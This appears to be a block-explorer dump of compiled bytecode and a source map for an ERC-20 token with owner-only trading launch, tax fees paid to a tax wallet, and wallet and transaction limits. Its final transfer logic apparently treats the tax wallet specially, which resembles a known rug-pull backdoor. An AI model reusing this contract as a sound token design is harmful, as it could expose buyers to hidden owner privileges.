57f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61056b6009600a61177c565b61057990633b9aca0061178a565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105b55760405162461bcd60e51b8152600401610480906117a1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105fe9030906105f06009600a61177c565b61044890633b9aca0061178a565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067291906117d6565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f591906117d6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561073f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076391906117d6565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b5f6103c6338484610ace565b5f546001600160a01b031633146107ba5760405162461bcd60e51b8152600401610480906117a1565b6107c3476110e0565b565b5f546001600160a01b031633146107ee5760405162461bcd60e51b8152600401610480906117a1565b601454600160a01b900460ff16156108485760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610480565b6013546001600160a01b031663f305d7194730610879816001600160a01b03165f9081526001602052604090205490565b5f8061088c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f2573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091791906117f1565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561096c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610990919061181c565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a0c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610480565b6001600160a01b038216610a6d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610480565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b325760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610480565b6001600160a01b038216610b945760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610480565b5f8111610bf55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610480565b601454600160b01b900460ff161580610c175750601454600160a81b900460ff165b15610cbf576001600160a01b0383165f90815260016020526040902054610c3e908261111f565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6c9082611167565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ac19085815260200190565b5f80546001600160a01b03858116911614801590610cea57505f546001600160a01b03848116911614155b1561106557610d1b6064610d15600b54600e5411610d0a57600754610d0e565b6009545b85906111c5565b90611243565b60065490915060ff1615610e01576013546001600160a01b03848116911614801590610d5557506014546001600160a01b03848116911614155b15610e0157325f908152600560205260409020544311610def5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a401610480565b325f9081526005602052604090204390555b6014546001600160a01b038581169116148015610e2c57506013546001600160a01b03848116911614155b8015610e5057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3657600f54821115610ea75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610480565b60105482610ec9856001600160a01b03165f9081526001602052604090205490565b610ed3919061183b565b1115610f215760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610480565b600e8054905f610f308361184e565b91905055505b6014546001600160a01b038481169116148015610f5c57506001600160a01b0384163014155b15610f8957610f866064610d15600c54600e5411610f7c57600854610d0e565b600a5485906111c5565b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610fbf57506014546001600160a01b038581169116145b8015610fd45750601454600160b01b900460ff165b8015610fe35750600d54600e54115b801561100757506001600160a01b0385165f9081526003602052604090205460ff16155b801561102b57506001600160a01b0384165f9081526003602052604090205460ff16155b1561106357601154811115611057576110576110528461104d84601254611284565b611284565b611298565b47611061476110e0565b505b505b6110a28484846110776009600a61177c565b600a54611084919061178a565b60065486906001600160a01b038b8116610100909204161415611408565b50505050565b5f81848411156110cb5760405162461bcd60e51b81526004016104809190611582565b505f6110d78486611866565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561111b573d5f803e3d5ffd5b5050565b5f61116083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a8565b9392505050565b5f80611173838561183b565b9050838110156111605760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610480565b5f825f036111d457505f6103ca565b5f6111df838561178a565b9050826111ec8583611879565b146111605760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610480565b5f61116083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611556565b5f8183116112925782611160565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112de576112de611898565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611335573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061135991906117d6565b8160018151811061136c5761136c611898565b6001600160a01b03928316602091820292909201015260135461139291309116846109aa565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113ca9085905f908690309042906004016118ac565b5f604051808303815f87803b1580156113e1575f80fd5b505af11580156113f3573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b806114135782611415565b835b9250811561148f57305f908152600160205260409020546114369083611167565b305f81815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114869086815260200190565b60405180910390a35b6001600160a01b0386165f908152600160205260409020546114b1908461111f565b6001600160a01b0387165f908152600160205260409020556114f46114d6858461111f565b6001600160a01b0387165f9081526001602052604090205490611167565b6001600160a01b038087165f8181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61153d878661111f565b60405190815260200160405180910390a3505050505050565b5f81836115765760405162461bcd60e51b81526004016104809190611582565b505f6110d78486611879565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115cb575f80fd5b50565b5f80604083850312156115df575f80fd5b82356115ea816115b7565b946020939093013593505050565b5f805f6060848603121561160a575f80fd5b8335611615816115b7565b92506020840135611625816115b7565b929592945050506040919091013590565b5f60208284031215611646575f80fd5b8135611160816115b7565b5f8060408385031215611662575f80fd5b823561166d816115b7565b9150602083013561167d816115b7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116d657815f19048211156116bc576116bc611688565b808516156116c957918102915b93841c93908002906116a1565b509250929050565b5f826116ec575060016103ca565b816116f857505f6103ca565b816001811461170e576002811461171857611734565b60019150506103ca565b60ff84111561172957611729611688565b50506001821b6103ca565b5060208310610133831016604e8410600b8410161715611757575081810a6103ca565b611761838361169c565b805f190482111561177457611774611688565b029392505050565b5f61116060ff8416836116de565b80820281158282048414176103ca576103ca611688565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117e6575f80fd5b8151611160816115b7565b5f805f60608486031215611803575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561182c575f80fd5b81518015158114611160575f80fd5b808201808211156103ca576103ca611688565b5f6001820161185f5761185f611688565b5060010190565b818103818111156103ca576103ca611688565b5f8261189357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156118fc5784516001600160a01b0316835293830193918301916001016118d7565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e5851d11bccf5c1c1566bacc605848447ad5e8e0addf3ea9973504ac67b977ec64736f6c63430008190033

Deployed Bytecode Sourcemap

3836:9583:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5829:83;;;;;;;;;;-1:-1:-1;5899:5:0;;;;;;;;;;;;-1:-1:-1;;;5899:5:0;;;;5829:83;;;;;;;:::i;:::-;;;;;;;;6712:186;;;;;;;;;;-1:-1:-1;6712:186:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6712:186:0;893:187:1;5070:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;5070:55:0;1085:177:1;6106:95:0;;;;;;;;;;;;;:::i;6906:446::-;;;;;;;;;;-1:-1:-1;6906:446:0;;;;;:::i;:::-;;:::i;6015:83::-;;;;;;;;;;-1:-1:-1;6015:83:0;;4683:1;1870:36:1;;1858:2;1843:18;6015:83:0;1728:184:1;6209:119:0;;;;;;;;;;-1:-1:-1;6209:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6302:18:0;6275:7;6302:18;;;:9;:18;;;;;;;6209:119;2867:148;;;;;;;;;;;;;:::i;:::-;;12083:201;;;;;;;;;;;;;:::i;4879:56::-;;;;;;;;;;;;;;;;2653:79;;;;;;;;;;-1:-1:-1;2691:7:0;2718:6;2653:79;;-1:-1:-1;;;;;2718:6:0;;;2315:51:1;;2303:2;2288:18;2653:79:0;2169:203:1;4942:58:0;;;;;;;;;;;;;;;;5920:87;;;;;;;;;;-1:-1:-1;5992:7:0;;;;;;;;;;;;-1:-1:-1;;;5992:7:0;;;;5920:87;;12392:391;;;;;;;;;;;;;:::i;6336:192::-;;;;;;;;;;-1:-1:-1;6336:192:0;;;;;:::i;:::-;;:::i;13321:95::-;;;;;;;;;;;;;:::i;5007:56::-;;;;;;;;;;;;;;;;4223:40;;;;;;;;;;-1:-1:-1;4223:40:0;;;;;;;;12791:485;;;;;;;;;;;;;:::i;6536:168::-;;;;;;;;;;-1:-1:-1;6536:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6669:18:0;;;6642:7;6669:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6536:168;6712:186;6812:4;6829:39;280:10;6852:7;6861:6;6829:8;:39::i;:::-;-1:-1:-1;6886:4:0;6712:186;;;;;:::o;6106:95::-;6159:7;4739:15;4683:1;4739:2;:15;:::i;:::-;4726:28;;:10;:28;:::i;:::-;6179:14;;6106:95;:::o;6906:446::-;7038:4;7055:36;7065:6;7073:9;7084:6;7055:9;:36::i;:::-;7102:220;7125:6;280:10;7173:138;7229:6;7173:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7173:19:0;;;;;;:11;:19;;;;;;;;280:10;7173:33;;;;;;;;;;:37;:138::i;:::-;7102:8;:220::i;:::-;-1:-1:-1;7340:4:0;6906:446;;;;;:::o;2867:148::-;2780:6;;-1:-1:-1;;;;;2780:6:0;280:10;2780:22;2772:67;;;;-1:-1:-1;;;2772:67:0;;;;;;;:::i;:::-;;;;;;;;;2974:1:::1;2958:6:::0;;2937:40:::1;::::0;-1:-1:-1;;;;;2958:6:0;;::::1;::::0;2937:40:::1;::::0;2974:1;;2937:40:::1;3005:1;2988:19:::0;;-1:-1:-1;;;;;;2988:19:0::1;::::0;;2867:148::o;12083:201::-;2780:6;;-1:-1:-1;;;;;2780:6:0;280:10;2780:22;2772:67;;;;-1:-1:-1;;;2772:67:0;;;;;;;:::i;:::-;4739:15:::1;4683:1;4739:2;:15;:::i;:::-;4726:28;::::0;:10:::1;:28;:::i;:::-;12137:12;:22:::0;4739:15:::1;4683:1;4739:2;:15;:::i;:::-;4726:28;::::0;:10:::1;:28;:::i;:::-;12170:14;:24:::0;12205:20:::1;:28:::0;;-1:-1:-1;;12205:28:0::1;::::0;;12249:27:::1;4739:15;4683:1;-1:-1:-1::0;4739:15:0::1;:::i;:::-;4726:28;::::0;:10:::1;:28;:::i;:::-;12249:27;::::0;1231:25:1;;;1219:2;1204:18;12249:27:0::1;;;;;;;12083:201::o:0;12392:391::-;2780:6;;-1:-1:-1;;;;;2780:6:0;280:10;2780:22;2772:67;;;;-1:-1:-1;;;2772:67:0;;;;;;;:::i;:::-;12444:15:::1;:104:::0;;-1:-1:-1;;;;;;12444:104:0::1;12495:42;12444:104:::0;;::::1;::::0;;;12559:58:::1;::::0;12576:4:::1;::::0;4739:15:::1;4683:1;4739:2;:15;:::i;:::-;4726:28;::::0;:10:::1;:28;:::i;12559:58::-;12662:15;;;;;;;;;-1:-1:-1::0;;;;;12662:15:0::1;-1:-1:-1::0;;;;;12662:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12644:55:0::1;;12722:4;12742:15;;;;;;;;;-1:-1:-1::0;;;;;12742:15:0::1;-1:-1:-1::0;;;;;12742:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12644:131;::::0;-1:-1:-1;;;;;;12644:131:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;12644:131:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;12644:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12628:13;:147:::0;;-1:-1:-1;;;;;;12628:147:0::1;-1:-1:-1::0;;;;;12628:147:0;;;::::1;::::0;;;::::1;::::0;;12392:391::o;6336:192::-;6439:4;6456:42;280:10;6480:9;6491:6;6456:9;:42::i;13321:95::-;2780:6;;-1:-1:-1;;;;;2780:6:0;280:10;2780:22;2772:67;;;;-1:-1:-1;;;2772:67:0;;;;;;;:::i;:::-;13373:35:::1;13386:21;13373:12;:35::i;:::-;13321:95::o:0;12791:485::-;2780:6;;-1:-1:-1;;;;;2780:6:0;280:10;2780:22;2772:67;;;;-1:-1:-1;;;2772:67:0;;;;;;;:::i;:::-;12853:11:::1;::::0;-1:-1:-1;;;12853:11:0;::::1;;;12852:12;12844:48;;;::::0;-1:-1:-1;;;12844:48:0;;5580:2:1;12844:48:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;12844:48:0::1;5378:347:1::0;12844:48:0::1;12905:15;::::0;-1:-1:-1;;;;;12905:15:0::1;:31;12944:21;12989:4;13009:24;12989:4:::0;-1:-1:-1;;;;;6302:18:0;6275:7;6302:18;;;:9;:18;;;;;;;6209:119;13009:24:::1;13048:1;13064::::0;13080:7:::1;2691::::0;2718:6;-1:-1:-1;;;;;2718:6:0;;2653:79;13080:7:::1;12905:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12905:223:0;;;-1:-1:-1;;;;;6089:15:1;;;12905:223:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13102:15:0::1;6303:19:1::0;;;6296:35;6005:19;;12905:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13146:13:0::1;::::0;13177:15:::1;::::0;13139:71:::1;::::0;-1:-1:-1;;;13139:71:0;;-1:-1:-1;;;;;13177:15:0;;::::1;13139:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13146:13:0;::::1;::::0;-1:-1:-1;13139:29:0::1;::::0;6800:18:1;;13139:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13221:11:0::1;:18:::0;;-1:-1:-1;;;;13250:18:0;-1:-1:-1;;;13250:18:0;;;12791:485::o;7360:335::-;-1:-1:-1;;;;;7453:19:0;;7445:68;;;;-1:-1:-1;;;7445:68:0;;7416:2:1;7445:68:0;;;7398:21:1;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:34;7589:19;;7445:68:0;7214:400:1;7445:68:0;-1:-1:-1;;;;;7532:21:0;;7524:68;;;;-1:-1:-1;;;7524:68:0;;7821:2:1;7524:68:0;;;7803:21:1;7860:2;7840:18;;;7833:30;7899:34;7879:18;;;7872:62;-1:-1:-1;;;7950:18:1;;;7943:32;7992:19;;7524:68:0;7619:398:1;7524:68:0;-1:-1:-1;;;;;7603:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7655:32;;1231:25:1;;;7655:32:0;;1204:18:1;7655:32:0;;;;;;;;7360:335;;;:::o;7703:3116::-;-1:-1:-1;;;;;7791:18:0;;7783:68;;;;-1:-1:-1;;;7783:68:0;;8224:2:1;7783:68:0;;;8206:21:1;8263:2;8243:18;;;8236:30;8302:34;8282:18;;;8275:62;-1:-1:-1;;;8353:18:1;;;8346:35;8398:19;;7783:68:0;8022:401:1;7783:68:0;-1:-1:-1;;;;;7870:16:0;;7862:64;;;;-1:-1:-1;;;7862:64:0;;8630:2:1;7862:64:0;;;8612:21:1;8669:2;8649:18;;;8642:30;8708:34;8688:18;;;8681:62;-1:-1:-1;;;8759:18:1;;;8752:33;8802:19;;7862:64:0;8428:399:1;7862:64:0;7954:1;7945:6;:10;7937:64;;;;-1:-1:-1;;;7937:64:0;;9034:2:1;7937:64:0;;;9016:21:1;9073:2;9053:18;;;9046:30;9112:34;9092:18;;;9085:62;-1:-1:-1;;;9163:18:1;;;9156:39;9212:19;;7937:64:0;8832:405:1;7937:64:0;8017:11;;-1:-1:-1;;;8017:11:0;;;;8016:12;;:22;;-1:-1:-1;8032:6:0;;-1:-1:-1;;;8032:6:0;;;;8016:22;8012:223;;;-1:-1:-1;;;;;8073:15:0;;;;;;:9;:15;;;;;;:27;;8093:6;8073:19;:27::i;:::-;-1:-1:-1;;;;;8055:15:0;;;;;;;:9;:15;;;;;;:45;;;;8131:13;;;;;;;:25;;8149:6;8131:17;:25::i;:::-;-1:-1:-1;;;;;8115:13:0;;;;;;;:9;:13;;;;;;;:41;;;;8176:26;;;;;;;;;;8195:6;1231:25:1;;1219:2;1204:18;;1085:177;8012:223:0;8245:17;2718:6;;-1:-1:-1;;;;;8281:15:0;;;2718:6;;8281:15;;;;:32;;-1:-1:-1;2691:7:0;2718:6;-1:-1:-1;;;;;8300:13:0;;;2718:6;;8300:13;;8281:32;8277:2420;;;8342:208;8546:3;8342:181;8406:15;;8394:9;;:27;8393:111;;8490:14;;8393:111;;;8450:12;;8393:111;8342:6;;:28;:181::i;:::-;:203;;:208::i;:::-;8571:20;;8330:220;;-1:-1:-1;8571:20:0;;8567:522;;;8652:15;;-1:-1:-1;;;;;8638:30:0;;;8652:15;;8638:30;;;;:83;;-1:-1:-1;8707:13:0;;-1:-1:-1;;;;;8693:28:0;;;8707:13;;8693:28;;8638:83;8612:462;;;8827:9;8798:39;;;;:28;:39;;;;;;8840:12;-1:-1:-1;8764:213:0;;;;-1:-1:-1;;;8764:213:0;;9444:2:1;8764:213:0;;;9426:21:1;9483:2;9463:18;;;9456:30;9522:34;9502:18;;;9495:62;9593:34;9573:18;;;9566:62;-1:-1:-1;;;9644:19:1;;;9637:40;9694:19;;8764:213:0;9242:477:1;8764:213:0;9029:9;9000:39;;;;:28;:39;;;;;9042:12;9000:54;;8612:462;9135:13;;-1:-1:-1;;;;;9127:21:0;;;9135:13;;9127:21;:72;;;;-1:-1:-1;9183:15:0;;-1:-1:-1;;;;;9169:30:0;;;9183:15;;9169:30;;9127:72;:116;;;;-1:-1:-1;;;;;;9221:22:0;;;;;;:18;:22;;;;;;;;9220:23;9127:116;9105:438;;;9296:12;;9286:6;:22;;9278:60;;;;-1:-1:-1;;;9278:60:0;;9926:2:1;9278:60:0;;;9908:21:1;9965:2;9945:18;;;9938:30;10004:27;9984:18;;;9977:55;10049:18;;9278:60:0;9724:349:1;9278:60:0;9413:14;;9403:6;9387:13;9397:2;-1:-1:-1;;;;;6302:18:0;6275:7;6302:18;;;:9;:18;;;;;;;6209:119;9387:13;:22;;;;:::i;:::-;:40;;9357:140;;;;-1:-1:-1;;;9357:140:0;;10410:2:1;9357:140:0;;;10392:21:1;10449:2;10429:18;;;10422:30;10488:28;10468:18;;;10461:56;10534:18;;9357:140:0;10208:350:1;9357:140:0;9516:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9105:438;9569:13;;-1:-1:-1;;;;;9563:19:0;;;9569:13;;9563:19;:44;;;;-1:-1:-1;;;;;;9586:21:0;;9602:4;9586:21;;9563:44;9559:332;;;9640:235;9871:3;9640:204;9712:16;;9700:9;;:28;9699:122;;9806:15;;9699:122;;;9761:13;;9640:6;;:32;:204::i;:235::-;9628:247;;9559:332;9956:4;9907:28;6302:18;;;:9;:18;;;;;;10000:6;;-1:-1:-1;;;10000:6:0;;;;9999:7;:47;;;;-1:-1:-1;10033:13:0;;-1:-1:-1;;;;;10027:19:0;;;10033:13;;10027:19;9999:47;:79;;;;-1:-1:-1;10067:11:0;;-1:-1:-1;;;10067:11:0;;;;9999:79;:130;;;;;10111:18;;10099:9;;:30;9999:130;:176;;;;-1:-1:-1;;;;;;10151:24:0;;;;;;:18;:24;;;;;;;;10150:25;9999:176;:220;;;;-1:-1:-1;;;;;;10197:22:0;;;;;;:18;:22;;;;;;;;10196:23;9999:220;9977:709;;;10280:17;;10257:20;:40;10254:205;;;10322:117;10365:51;10369:6;10377:38;10381:20;10403:11;;10377:3;:38::i;:::-;10365:3;:51::i;:::-;10322:16;:117::i;:::-;10524:21;10616:35;10629:21;10616:12;:35::i;:::-;10235:451;9977:709;8315:2382;8277:2420;10717:94;10730:4;10736:2;10740:6;10764:15;4683:1;10764:2;:15;:::i;:::-;10748:13;;:31;;;;:::i;:::-;10800:10;;10781:9;;-1:-1:-1;;;;;10792:18:0;;;10800:10;;;;;10792:18;;10717:12;:94::i;:::-;7772:3047;7703:3116;;;:::o;1455:224::-;1575:7;1611:12;1603:6;;;;1595:29;;;;-1:-1:-1;;;1595:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1635:9:0;1647:5;1651:1;1647;:5;:::i;:::-;1635:17;1455:224;-1:-1:-1;;;;;1455:224:0:o;12292:92::-;12349:10;;:27;;:10;;;;-1:-1:-1;;;;;12349:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;;;12292:92;:::o;1311:136::-;1369:7;1396:43;1400:1;1403;1396:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1389:50;1311:136;-1:-1:-1;;;1311:136:0:o;1124:179::-;1182:7;;1214:5;1218:1;1214;:5;:::i;:::-;1202:17;;1243:1;1238;:6;;1230:46;;;;-1:-1:-1;;;1230:46:0;;11038:2:1;1230:46:0;;;11020:21:1;11077:2;11057:18;;;11050:30;11116:29;11096:18;;;11089:57;11163:18;;1230:46:0;10836:351:1;1687:246:0;1745:7;1769:1;1774;1769:6;1765:47;;-1:-1:-1;1799:1:0;1792:8;;1765:47;1822:9;1834:5;1838:1;1834;:5;:::i;:::-;1822:17;-1:-1:-1;1867:1:0;1858:5;1862:1;1822:17;1858:5;:::i;:::-;:10;1850:56;;;;-1:-1:-1;;;1850:56:0;;11616:2:1;1850:56:0;;;11598:21:1;11655:2;11635:18;;;11628:30;11694:34;11674:18;;;11667:62;-1:-1:-1;;;11745:18:1;;;11738:31;11786:19;;1850:56:0;11414:397:1;1941:132:0;1999:7;2026:39;2030:1;2033;2026:39;;;;;;;;;;;;;;;;;:3;:39::i;11477:107::-;11534:7;11566:1;11562;:5;11561:15;;11575:1;11561:15;;;-1:-1:-1;11571:1:0;11477:107;-1:-1:-1;11477:107:0:o;11592:483::-;5409:6;:13;;-1:-1:-1;;;;5409:13:0;-1:-1:-1;;;5409:13:0;;;11694:16:::1;::::0;;11708:1:::1;11694:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11694:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11694:16:0::1;11670:40;;11739:4;11721;11726:1;11721:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11721:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11765:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11765:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11721:7;;11765:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11755:4;11760:1;11755:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11755:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11830:15:::1;::::0;11798:62:::1;::::0;11815:4:::1;::::0;11830:15:::1;11848:11:::0;11798:8:::1;:62::i;:::-;11871:15;::::0;:196:::1;::::0;-1:-1:-1;;;11871:196:0;;-1:-1:-1;;;;;11871:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11952:11;;11871:15:::1;::::0;11994:4;;12021::::1;::::0;12041:15:::1;::::0;11871:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5445:6:0;:14;;-1:-1:-1;;;;5445:14:0;;;-1:-1:-1;;;;11592:483:0:o;10827:642::-;11032:7;:22;;11047:7;11032:22;;;11040:6;11032:22;11022:32;-1:-1:-1;11071:13:0;;11067:204;;11146:4;11128:24;;;;:9;:24;;;;;;:71;;11175:9;11128:28;:71::i;:::-;11119:4;11101:24;;;;:9;:24;;;;;;;:98;;;;11219:40;;-1:-1:-1;;;;;11219:40:0;;;;;;;11249:9;1231:25:1;;1219:2;1204:18;;1085:177;11219:40:0;;;;;;;;11067:204;-1:-1:-1;;;;;11309:15:0;;;;;;:9;:15;;;;;;:28;;11329:7;11309:19;:28::i;:::-;-1:-1:-1;;;;;11291:15:0;;;;;;:9;:15;;;;;:46;11364:40;11382:21;:6;11393:9;11382:10;:21::i;:::-;-1:-1:-1;;;;;11364:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11348:13:0;;;;;;;:9;:13;;;;;:56;;;;11420:41;;;11439:21;:6;11450:9;11439:10;:21::i;:::-;11420:41;;1231:25:1;;;1219:2;1204:18;11420:41:0;;;;;;;10827:642;;;;;;:::o;2081:223::-;2201:7;2236:12;2229:5;2221:28;;;;-1:-1:-1;;;2221:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2260:9:0;2272:5;2276:1;2272;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;